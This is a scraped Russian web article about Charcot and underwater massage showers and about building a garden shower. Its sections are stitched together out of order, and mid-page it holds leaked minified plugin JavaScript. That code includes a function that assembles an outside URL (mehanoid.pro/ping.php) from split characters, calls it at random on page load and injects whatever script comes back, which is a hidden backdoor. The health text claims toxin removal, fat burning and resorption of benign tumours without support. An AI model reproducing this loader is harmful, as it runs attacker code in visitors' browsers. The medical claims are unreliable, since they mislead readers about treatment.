Массажный душ: видео-инструкция по применению своими руками, особенности подводных изделий, насадок, щеток, устройств Шарко, цена, фото

Массажный душ: видео-инструкция по применению своими руками, особенности подводных изделий, насадок, щеток, устройств Шарко, цена, фото Баня

Описание процесса

Инструкция предполагает создание двух струй, направляемых поочерёдно на разные области тела и обладающих следующими параметрами:

ПараметрЗначение
Температура
  • Первая струя нагревается только до отметки 20 градусов Цельсия;
  • Вторая же достигает 40 градусов Цельсия.

Такой контраст является частью лечебного эффекта.

ДавлениеДо 4-х атмосфер
Длина3-3,5 м, именно на таком расстоянии от подающего воду сопла должен находиться человек

Длительность процедуры составляет обычно от одной до пяти минут, а весь курс чаще всего не превышает двадцати повторений, после чего организм нуждается в отдыхе.

Все вышеперечисленные показатели могут быть изменены лечащим доктором в соответствии с вашим здоровьем, так как данный вид гидромассажа оказывает значительные нагрузки, способные навредить при наличии сердечнососудистых патологий, некоторых видов кожных заболеваний, беременности и варикозном расширении вен.

Совет: не спешите верить рекламным лозунгам косметических салонов и тем более продавцам домашнего оборудования.
Душ Шарко имеет достаточно сложное и специфическое устройство и должен использоваться только по индивидуальному направлению вашего лечащего доктора.
Так что вне стен лечебных заведений вы можете столкнуться с подделкой или же навредить своему здоровью из-за отсутствия профессионального подхода.

Что такое душ шарко, какие противопоказания имеет процедура, ее цена и отзывы — ванная своими руками — таванная.ру

«:’

‘:»»,document.createElement(«div»),p=ff(window),b=ff(«body»),m=void 0===flatPM_getCookie(«flat_modal_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» o.ID «_mb»),i=»scroll.flatmodal» o.ID,g=»mouseleave.flatmodal» o.ID » blur.flatmodal» o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&»true»==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie&&m&&(flatPM_setCookie(«flat_modal_» o.ID «_mb»,!1),ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l()),void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l())},ff(«body > *»).eq(0).before(‘

‘ c «

«),w=document.querySelector(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_modal-content’),-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_cross’,function(){flatPM_setCookie(«flat_out_» o.ID «_mb»,!1)})),void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=o.how.outgoing.indent?’ style=»bottom:’ o.how.outgoing.indent ‘px»‘:»»,c=»true»==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count «

«:’

‘:»»,p=ff(window),h=»scroll.out» o.ID,g=»mouseleave.outgoing» o.ID » blur.outgoing» o.ID,m=void 0===flatPM_getCookie(«flat_out_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» o.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(o.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘

‘ c «

«);var v,w=document.querySelector(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’);-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=»‘ o.ID ‘»]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘

‘),flat_body.on(«click»,».flat__4_out .flat__4_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».flat__4_modal .flat__4_cross»,function(){ff(this).closest(«.flat__4_modal»).removeClass(«flat__4_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie(«flat_r_mb»,»zen.yandex»),flat_userVars.referer=»zen.yandex»);var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»

«],thead:[1,»

«],tbody:[1,»

«],colgroup:[2,»

«],col:[3,»

«],tr:[2,»

«],td:[3,»

«],th:[3,»

«],_default:[0,»»,»»]};return function(e,t){var a,r,l,n=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=n.appendChild(t.createElement(«div»)),r=(d.exec(e)||[«»,»»])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(o,»<$1>») r[2],l=r[0];l—;)a=a.lastChild;for(n.removeChild(n.firstChild);a.firstChild;)n.appendChild(a.firstChild)}else n.appendChild(t.createTextNode(e));return n}}();function flatPM_ping(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,200);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «m» «e» «h» «a» «n» «o» «i» «d» «.» «p» «r» «o» «/» «p» «i» «ng» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var n=jQuery,t=e.selector,o=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,r=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,l=’

‘,i=e.once;n(t).each(function(){var e=n(this);e.wrap(‘

‘);var t=e.closest(«.flat__4_video»);-1!==l.indexOf(«go» «oglesyndication»)?t.append(l):flatPM_setHTML(t[0],l),e.find(«.flat__4_video_flex»).one(«click»,function(){n(this).addClass(«show»)})}),n(«body»).on(«click»,».flat__4_video_item_hover»,function(){var e=n(this),t=e.closest(«.flat__4_video_flex»);t.addClass(«show»);var a=t.find(«.flat__4_timer span»),r=parseInt(o),l=setInterval(function(){a.text(—r),r<=0&&(clearInterval(l),»true»==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(«click»,».flat__4_video_flex .flat__4_cross»,function(){n(this).closest(«.flat__4_video_flex»).remove(),»true»==i&&n(«.flat__4_video_flex»).remove()})}

Вариант №1: душ шарко

Начинать говорить о гидромассаже стоит с душа Шарко, который используется в медицинских целях ещё с 19-го века и представляет собой водную процедуру ударного типа, осуществляемую специальным оборудованием.

Вариант №2: подводный душ-массаж

Данный вид гидромассажа возможен как в оздоровительном центре, так и дома. Для осуществления процедуры в домашних условиях вам понадобится специальное оборудование, устройство которого мы с вами рассмотрим:

Вариант №3: душ алексеева

Данный вид гидромассажного оборудования вполне приемлем для домашнего применения. По сути, это своеобразная массажная насадка для душа, которая вместо рассыпчатых капель создаёт стойкие струи субмиллиметрового сечения с высокой кинетической энергией.

Виды душа шарко

Душ Шарко используют в нескольких направлениях.

Косметический

В 21 веке лечением напором воды чаще интересуются женщины. Процедура популярна, благодаря жиросжигающим свойствам.

В послеродовой период душ Шарко устраняет остатки жировых отложений в области живота, корректирует фигуру и предотвращает появление растяжек.

При лишнем весе процедура не менее эффективна. Благодаря стимуляции работы клеток, происходит ускорение обмена веществ. Напор воды разгоняет метаболизм.

Душ Шарко оживляет клетки организма. Кожа обновляется и очищается от токсинов.1

Иммуноукрепляющий

Душ Шарко используют для укрепления иммунитета. Он подходит тем, кто активно занимается спортом. Закаливание контрастным душем с сильным напором активизирует защитные функции организма и запускает работу лимфатической системы.

Спортсменам душ Шарко полезен для расслабления мышц и исключения травм при тяжелых физических нагрузках.2

Душ Шарко предотвращает обострение хронических заболеваний и проводит профилактику ОРВИ. Процедура особенно полезна в осенне-зимний период.

Лечебный

Лечебные свойства душа Шарко ценятся за эффект при дискомфорте в области шеи и позвоночника, суставных и головных болях, вызванных недостатком кислорода, переутомлением, депрессиях и плохим кровообращением.

Выбор места

Зачастую под летний душ выбирается самый укромный уголок между деревьями или за домом. Но такой подход будет ошибочным и приведет как минимум к двум негативным последствиям:

  • во время водных процедур будут постоянно атаковать комары и другие насекомые, предпочитающие обитать в прохладных затененных местах;
  • естественный нагрев воды в баке будет очень слабым.

Располагать кабинку надо на солнечном месте, желательно на возвышенности. Даже при наличии возможности установки бака с электроподогревом в жаркие дни лучше отдать предпочтение солнечному теплу, чтобы сэкономить электроэнергию. Также не целесообразно устанавливать душ далеко от дома, поскольку это создаст неудобства при проведении водных процедур поздним вечером или в прохладную погоду.

Душ шарко для похудения

Процедура эффективна для желающих сбросить лишние килограммы, а также скорректировать недостатки. Ударная волна воды способна вывести лишнюю жидкость из организма, запустить процессы жиросжигания, благодаря ускорению кровообращения.4

Душ Шарко ценится женщинами за устранение целлюлита, дряблости и гипотонуса мышц. После двух месяцев процедуры появится результат. Кожа станет гладкой, упругой и подтянутой. Повысится общий тонус организма, вернется хорошее самочувствие и пациент почувствует прилив сил.

Для видимого эффекта необходимо пройти не менее 1 курса.

Душ шарко: показания, противопоказания, проведение процедуры

Душ Шарко является одним из методов гидротерапии, используемых для лечения многих хронических болезней. Его успешно применяют в косметологии, регулярные сеансы позволяют избавиться от целлюлита, лишнего веса. Название гидромассаж получил в честь своего создателя: его придумал врач-невропатолог и психиатр Жан-Мартен Шарко.

Эффективность метода заключается в воздействии на организм струй воды, которая подается под большим давлением (от 2 до 4 атмосфер) и имеет контрастную температуру (20-40 оС). Процедура проводится в специальной душевой комнате следующим образом:

  1. Пациент должен встать на расстоянии 3-5 м от душевой кафедры, за которой находится человек, проводящий сеанс. Если душ будет болезненным, надо отойти подальше. Для усиления воздействия можно встать ближе.
  2. На тело пациента направляют воду, сначала веером, затем компактной струей под давлением.
  3. Далее поочередно обрабатываются части тела (руки, спина, бока, ноги) струями горячей, затем холодной воды.
  4. Организм должен постепенно привыкнуть к нагрузке, поэтому в первые сеансы используют только одну струю. При этом температура воды должна составлять 36-40 оС. В последующие сеансы ее понемногу снижают, доводя к концу курса до 20 оС. Давление струи, наоборот, повышают.
  5. Если проводится шотландский душ, в течение 1 процедуры температуру воды несколько раз меняют: сначала воздействуют на пациента горячей (до 42 оС) водой в течение 30-40 сек, а затем переключают на холодную (15-20 оС) — на 14-20 сек.
  6. Душ направляют в направлении с ног до головы, сначала на переднюю поверхность тела, затем на боковые и на заднюю поверхности. При этом избегают попадания воды на голову, область позвоночного столба, на половые органы, молочные железы.
  7. На каждую конечность воздействуют поочередно (по ходу крупных сосудов), после этого воду направляют на живот (по часовой стрелке).
Массажный душ: видео-инструкция по применению своими руками, особенности подводных изделий, насадок, щеток, устройств Шарко, цена, фото
По окончании процедуры пациенту включают веерный контрастный душ.

Продолжительность первых сеансов душа Шарко составляет 1-2 мин, затем к концу курса постепенно доводят до 5-7 минут. Рекомендуется проводить процедуру 1 раз в 2-3 дня. Не стоит приходить на сеансы душа Шарко ежедневно, поскольку в этом случае нагрузка на организм будет чрезмерной. В зависимости от показаний, переносимости, курс лечения может состоять из нескольких сеансов — от 10 до 15. Цикл процедур можно повторить, спустя 6 месяцев.

Процедура должна проводиться грамотным специалистом, который сможет объективно оценить состояние организма пациента и правильно изменить давление струи, отрегулировать температуру воды, а при необходимости оказать медпомощь. В противном случае сеанс может привести к негативным последствиям.

Сеанс душа Шарко не требует особой подготовки. С собой необходимо взять:

  • купальник (или плавки);
  • шапочку для душа;
  • сланцы;
  • полотенце.

После процедуры особый уход за кожей не нужен. Если появились боли в мышцах, применяйте обезболивающие гели, при необходимости купите средство для ускорения рассасывания синяков.

Цикл сеансов душа Шарко оказывает на организм общеукрепляющее, тонизирующее действие, а также имеет множество других положительных эффектов:

  1. Улучшает работу кровеносных сосудов, лимфатической системы, увеличивает количество капилляров. В результате усиления тока крови внутренние органы лучше снабжаются кислородом и питательными веществами.
  2. В зависимости от температуры воды повышается либо снижается тонус поперечно-полосатой мускулатуры, сосудов.
  3. Процедура стимулирует функции гипофиза и гипоталамуса, в свою очередь это способствует улучшению работы эндокринной и нервной систем.
  4. В организме запускается процесс самовосстановления. После нескольких сеансов человек чувствует себя бодрым и энергичным.
  5. Снижаются проявления симптомов воспаления, болевого синдрома.
  6. Активизируется иммунитет.
  7. Ускоряется метаболизм, что способствует похудению и улучшению процессов выведения продуктов клеточного обмена. Можно сказать, что душ Шарко оказывает мощный жиросжигающий эффект.
Массажный душ: видео-инструкция по применению своими руками, особенности подводных изделий, насадок, щеток, устройств Шарко, цена, фото
Курс процедур делает кожу свежей, подтянутой, избавляя от признаков целлюлита.

Во время сеанса активизируется лимфосистема. В результате улучшается клеточное питание, стимулируются процессы выведения шлаков и токсинов. Регулярные процедуры могут способствовать рассасыванию доброкачественных опухолей.

Ударное воздействие струями воды часто переносится болезненно, на теле остаются синяки. Как правило, они появляются после первых процедур, затем исчезают примерно через 2 недели. Не все пациенты с повышенной болевой чувствительностью могут выдержать полный курс. В этом случае лучше использовать другие методы гидротерапии.

По отзывам пациентов, последующие процедуры менее болезненны, чем первые.

При игнорировании информации о противопоказаниях могут обостриться хронические болезни. Очень важно, чтобы сеансы проводил грамотный специалист, иначе душ Шарко может нанести вред здоровью.

Душ Шарко назначают по следующим показаниям:

  • нарушения работы нервной системы;
  • вегето-сосудистая дистония;
  • болезни пищеварительной системы;
  • патологии суставов;
  • остеохондроз и другие заболевания позвоночника;
  • незначительные нарушения работы сердечно-сосудистой системы;
  • синдром хронической усталости;
  • постоянный стресс;
  • нарушения метаболизма;
  • ослабление иммунитета;
  • заболевания аллергической природы;
  • ожирение;
  • целлюлит.

Процедуры также будут полезны в период реабилитации.

Процедуры душа Шарко имеют противопоказания:

  • кожные болезни;
  • варикоз;
  • слабые сосуды;
  • тяжелые патологии сердечно-сосудистой системы;
  • мочекаменная болезнь;
  • злокачественные новообразования;
  • беременность;
  • менструация;
  • повышение температуры тела.

С осторожностью сеансы назначают в следующих случаях (т. н. условные противопоказания):

  • протрузии;
  • женские болезни (гинекология);
  • гипертония;
  • болезни кожи;
  • язвы в ЖКТ;
  • болезни крови.

Если было сделано кесарево сечение, после этого должно пройти не меньше 6 мес. На процедуру можно идти в том случае, если не было послеоперационных осложнений. Шов должен быть без воспалений. В любом случае всем пациентам надо предварительно проконсультироваться у врача. Затем рекомендуется пройти 1 процедуру, если все будет в порядке, можно будет продолжить курс.

Сеансы не займут много времени, что актуально для занятых людей. Душ Шарко почти всегда приносит ощутимый положительный эффект. Стоимость 1 сеанса может варьироваться от 200 до 3000 руб., средняя цена составляет 300-500 руб. Чтобы пройти курс недорого, можно найти государственную поликлинику, где есть специальное оборудование для проведения процедуры душа Шарко.

В настоящее время в магазинах сантехники продается множество приспособлений для гидромассажа на дому. Используя специальную насадку, устроенную по принципу душа Шарко, можно провести сеанс в собственной ванной. Однако такого же эффекта добиться невозможно, так как мощность струи будет меньше.

Да и площадь ванной комнаты не позволит выдержать нужное расстояние между телом и кранами. Напор воды тоже не будет соответствовать стандартам. Тем не менее, такая процедура в домашних условиях все же будет полезна. Она окажет отличное тонизирующее воздействие, особенно в утренние часы, и даст заряд бодрости.

Можно приобрести насадку, обеспечивающую давление воды до 4 атмосфер. Этого показателя будет достаточно, чтобы выполнить массаж тела. Насадка для гидромассажа закрепляется на место обычного душа.

Массажный душ: видео-инструкция по применению своими руками, особенности подводных изделий, насадок, щеток, устройств Шарко, цена, фото
Альтернативный вариант — контрастный душ.

Не менее эффективной водной процедурой является подводный гидромассаж. Пациента помещают в специальную ванную длиной 2 м и шириной 1 м, которая оборудована насосом и гибким шлангом с насадкой. Температура воды составляет 30-37 оС.

Массажный душ: видео-инструкция по применению своими руками, особенности подводных изделий, насадок, щеток, устройств Шарко, цена, фото
В ванную можно добавить морскую соль, отвар лечебных трав, аромамасло.

Пациент должен сначала просто полежать в воде в течение 5-7 мин. Затем специалист начинает массаж при помощи гибкого шланга, через который выходит вода под давлением 1-4 атмосферы. Струей воды массажист воздействует на все проблемные зоны пациента.

Подводный гидромассаж эффективен при избыточном весе, целлюлите, отечности.

Длительность процедуры составляет 15-35 минут, кратность – каждый день или через день. Рекомендованный курс – 10-20 ванн, спустя полгода его можно повторить.

В сравнении с душем Шарко подводный гидромассаж оказывает на организм более щадящее действие, имеет меньше противопоказаний. К ним относятся:

  • мочекаменная болезнь;
  • болезни вен;
  • гипертония в тяжелой стадии;
  • обострение сердечно-сосудистых болезней;
  • нарушения мозгового кровообращения;
  • гнойничковые болезни кожи;
  • злокачественные новообразования;
  • беременность.

Никаких болезненных ощущений во время сеансов пациент не испытывает, однако стоимость курса будет выше. Душ Шарко доступнее по цене и с точки зрения косметологии более эффективен, хоть и доставляет пациенту неприятные ощущения во время сеанса. Для максимального результата можно сочетать обе методики.

Секрет водных процедур заключается в сочетании успокаивающего и тонизирующего эффекта. Душ Шарко расслабляет нервную систему и в то же время помогает бороться с усталостью, депрессией, апатией. Успокаивающее действие процедура оказывает и на опорно-двигательный аппарат, избавляя от мышечного напряжения, болевых симптомов в позвоночнике, суставах. Для организма будут полезны любые водные процедуры, которые были порекомендованы специалистом.

Емкость для воды

Летний душ должен быть не только красивым и прочным, но и обеспечивать должный уровень комфорта. Поэтому надо тщательно продумать принцип подогрева воды. Для этого традиционно используются следующие способы:

  • закрытая емкость, окрашенная в черный цвет, хорошо притягивающая ультрафиолетовые лучи;
  • коллектор, в котором нагревание происходит во время циркуляции воды, но оно будет эффективным лишь при небольшом напоре и стабильно сильном солнечном излучении;
  • емкость с установленными внутри нагревательными элементами.

Последний способ нагрева требует профессионального подхода, поскольку электронагреватели должны быть прочно и герметично вмонтированы в бак. Также в емкости должен поддерживаться стабильный уровень воды, иначе ТЭН быстро перегорит. По этим причинам, а также из-за избыточного расхода электроэнергии данный способ редко применяется на даче.

Кабинка

Самыми распространенными для душевой кабины являются такие обшивочные материалы:

  1. Массив дерева. Характеризуется большим весом, который требует установки надежного основания ленточного или свайно-винтового типа. Для каркаса оптимальным вариантом будет брус, величина сечения которого напрямую зависит от толщины досок. Выгоднее всего использовать вагонку, для которой подойдет брус сечением 5×5 см.
  2. Профнастил. Относится к числу наиболее популярных обшивочных материалов для уличных душевых кабинок. Для него подходит каркас из досок, стального уголка или тонкостенного металлопрофиля. Единственный минус – не очень презентабельный внешний вид.
  3. Поликарбонат. Самый доступный по стоимости материал, который удобно монтируется и обладает высокой теплопроводностью. К недостаткам относят недолговечность – под прямыми солнечными лучами поликарбонат быстро разрушается.
  4. Кирпич или камень. Используется для возведения капитальных построек, которые на даче не очень востребованы, но все-таки встречаются. К тому же, несмотря на свою долговечность, такие душевые менее комфортны в использовании, поскольку плохо нагреваются от солнца. При этом сам процесс строительства с обустройством фундамента, кладкой стен и их внутренней отделкой очень затратен по времени и средствам.

Кроме указанных материалов можно применять влагоустойчивый гипсокартон, виниловый или металлический сайдинг и другие листовые материалы, предназначенные для наружной обшивки стен. Нередко для сооружения душевой кабины используются различные строительные остатки.

Такой душ из подручных материалов, сооруженный своими руками, обладает минимальной стоимостью, но будет выглядеть соответственно – как сарай или будка для садового инвентаря. Хотя при соблюдении указанных принципов строительства все функциональные характеристики сохранятся.

В большинстве случаев особых затрат труда и времени работа по сооружению летнего душа не требует, если только не планируется возводить капитальное кирпичное или каменное строение. Сделать обычную душевую кабинку на даче можно своими руками за довольно короткое время, если соблюдать указанные выше рекомендации

Как провести процедуру дома

Душ Шарко в домашних условия не даст лечебного и косметологического эффекта. Современные условия позволяют поставить душевую кабину с разными насадками для душа и вариативностью напора воды. Условия ванной комнаты и устройство душа не позволят установить должный напор струи и выбрать ее правильное направление на участки тела. У процедуры существуют правила и стандарты, которые невозможно соблюсти в домашних условиях.

Как проходит процедура

Душ Шарко также называют гидротерапией. Процедура подразумевает поочередную подачу воды с разной мощностью напора и температурой. Колебания варьируются от 20 до 45 градусов Цельсия. Такая методика способствует поочередному расширению и сужению сосудов.

Общие требования к пациенту — наличие плавательного костюма, сланцев и шапочки для купания.

  1. Пациент проходит в специализированное помещение и встает на расстоянии трех метров от специалиста.
  2. Специалист начинает сеанс гидромассажа с легкого распыления воды. Направляет напор сверху вниз.
  3. Сначала пациент повернут спиной, затем разворачивается лицом к специалисту. Затем наоборот.
  4. Напор воды подается с ног на верхнюю часть тела — мышцы рук, спины и по бокам.
  5. В конце процедуры пациент поворачивается лицом для кругового массажа в области живота. С каждым сеансом напор воды увеличивается, а температура понижается.

Порядок направления воды на части тела зависит от целей клиента и состояния здоровья. Специалист рассчитает время, последовательность и частоту посещений, в зависимости от рекомендаций врача.

Каркас

Перед тем как построить летний душ на даче своими руками, необходимо правильно выбрать материалы изготовления. Разница между конструкциями из разных материалов будет значительной, особенно если сравнивать капитальные постройки и стены из пластиковых листов.

Установка каркаса требуется при использовании любого обшивочного материала. Чаще всего для его создания применяются:

  1. Профильные трубы. Отличаются малым весом и высокой прочностью. В зависимости от размера сечения могут устанавливаться как для легких, так и для тяжелых стен. Из-за высокой цены металопрофиля общая стоимость кабинки значительно повысится, но зато и внешний вид будет на высоком уровне.
  2. Доски или брус. Предпочтительнее и дешевле будут доски шириной 15 см и толщиной не менее 3 см, но можно взять и брус, хотя он будет дороже. Выбор лесоматериала зависит от общей массы конструкции. Но поскольку современные отделочные материалы имеют достаточно легкий вес, то рациональнее всего делать каркас из досок.

Также можно соорудить каркас из ПВХ–труб, как описано для переносного душа. Но в этом случае для обшивки подойдут только плотные натуральные или синтетические ткани, такие как Тарпаулин, ПВХ, Оксфорд, брезент, Кордура и другие подобные.

Конструкция прибора

Обозначение на рисункеНазвание элемента
1Шланг всасывания
2Шнур питания
3Включающие прибор кнопки
4Фильтр для поступающей жидкости
5Массажная рукоятка
6Шланг, подающий воду для гидромассажа
7Регулятор давления
8Манометр
9Сменный наконечник
Запасные сопла
10Вращательное стекло
11Воздушный краник
12Штуцер с нарезкой
13Штуцер с нарезкой аппарата
14Патрубок всасывания
15Карман для шнура
16Крышка с запасными соплами

Цена такого прибора достаточно высокая, поэтому обращаться с ним следует предельно осторожно. Функция же его состоит в следующем: он втягивает жидкость, заполняющую ванну, и под давлением выпускает её уже в человека, принимающего процедуру. (См. также статью Лейка для душа Тропический дождь: особенности.)

Лейка

Для выхода воды из бака или емкости используют специальную лейку, предназначенную именно для таких душевых конструкций. Это устройство можно купить или приспособить под него наконечник от садовой лейки.

В любом случае лейку надо подсоединять к баку не напрямую, а через кран, которым можно будет регулировать подачу воды. Кран подходит любой, но удобнее всего пользоваться шаровыми моделями с длинной ручкой, поворачивающейся на 45º.

Лечебные свойства

Душ Шарко оказывает массу положительных эффектов:

  • Оснащает кислородом мышечные ткани и кожу, что стимулирует кровеносную и лимфатическую системы;
  • Оказывает температурное и механическое раздражение кожного покрова, благодаря чему улучшается кровеносное обращение, обмен вещей и ускоряется рассасывание очагов воспаления.
  • Расщепляет жиры, помогает избавиться от образований целлюлита.
  • Поднимает тонус и настроение.
  • Ликвидирует напряжение позвоночных мышц.
  • Придаёт эластичность мышцам, что особенно полезно для людей, занимающихся спортом.
  • Устраняет признаки старения кожи, делая её свежей и подтянутой.

Следует также отметить, что отлично работает сочетание подводный душ массаж душ Шарко, в результате чего эти две процедуры назначаются в комплексе.

Переносной летний душ

Очень распространенным современным вариантом летнего душа является переносная конструкция из пластиковых труб. Ее удобно использовать на даче не только для водных процедур, но и для развлечения детей, полива газона или в качестве декоративного элемента ландшафтного дизайна.

Перед тем как сделать летний душ на даче из ПВХ труб, нужно заготовить:

  • трубы ПВХ – 10–20 м в зависимости от типа конструкции;
  • крепежные элементы (крестовины, уголки) – 8–20 штук;
  • специальные прецизионные ножницы;
  • сварочный аппарат для пластиковых труб;
  • дополнительные детали (кран-подводку, шланг, насос, емкость и т.п.).

Процесс изготовления строится по такому алгоритму:

  • нарезают 6 отрезков трубы длиной 60 см;
  • с помощью сварочного аппарата соединяют крестовинами между собой по 3 отрезка (должно получиться 2 одинаковые опоры);
  • при монтаже крестовин учитывают, чтобы они располагались перпендикулярно трубам и параллельно друг другу;
  • нарезают 8 отрезков трубы по 30 см, на один край каждого припаивают по уголку;
  • нарезают 8 отрезков трубы по 20 см, вставляют их в уголки, прикрепленные к 30-сантиметровым отрезкам, второй конец закрывают заглушкой;
  • вставляют в каждую крестовину по 2 полученные заготовки, таким образом, чтобы загнутые концы были повернуты в середину;
  • в результате должно получиться 2 боковых конструкции–опоры с двумя парами отходящих о каждой коротких направляющих для воды;
  • эти опоры скрепляют между собой поперечными планками длиной 100 см, используя уголки;
  • к нижней поперечной трубе предварительно прикрепляют две перпендикулярные трубы длиной по 100 см (чтобы получить опору в форме буквы Н) для создания устойчивости всей конструкции;
  • к одной нижней трубе подсоединяют кран-подводку для подачи воды;
  • просверливают в трубах отверстия с шагом в 10 см;
  • подключают водопроводный шланг.

В результате должна получиться конструкция, похожая на душ Шарко. Ее конфигурацию можно изменять, используя более простые формы. Легче всего спаять трубы ПВХ в виде буквы П (наподобие спортивного турника) и проделать отверстия в верхней перекладине, откуда и будет литься вода.

При желании душ из пластиковых труб можно соорудить в закрытом виде. Для этого сначала создается каркас, который обтягивается плотной непрозрачной пленкой или другим нетканым материалом. Подача воды в такой конструкции обычно осуществляется с помощью так называемого насоса-топтуна.

Площадка и фундамент

Подготовительные работы начинаются с выравнивания площадки и копания сливной ямы. Традиционно углубление делают прямо под кабинкой, но можно отвести его в сторону, если в другом месте грунт более подходящий. Необходимо, чтобы он был мягким и хорошо впитывал влагу. Нецелесообразно совмещать слив душа с ямой для туалета, но на крайний случай такой вариант рассматривается.

С целью предотвращения осыпания земли по периметру ямы устанавливаются стенки или вкапываются бетонные кольца. На дно засыпается дренажный слой из битого кирпича или крупного щебня.

https://www.youtube.com/watch?v=—WCdZYinWQ

Фундамент требуется только в тех случаях, когда строение получается слишком тяжелым и под него необходимо ленточное основание. Чаще всего для установки душевых конструкций достаточно подложить под опоры блоки, частично закопав их в небольшие углубления, и, приподняв пол чуть выше поверхности земли.

Ситуация может несколько усложниться, когда работы выполняются на песчаном грунте, который дает сильную усадку. Тогда потребуется установка свайно-винтового основания с заглублением как минимум на 100 см.

Побочные эффекты

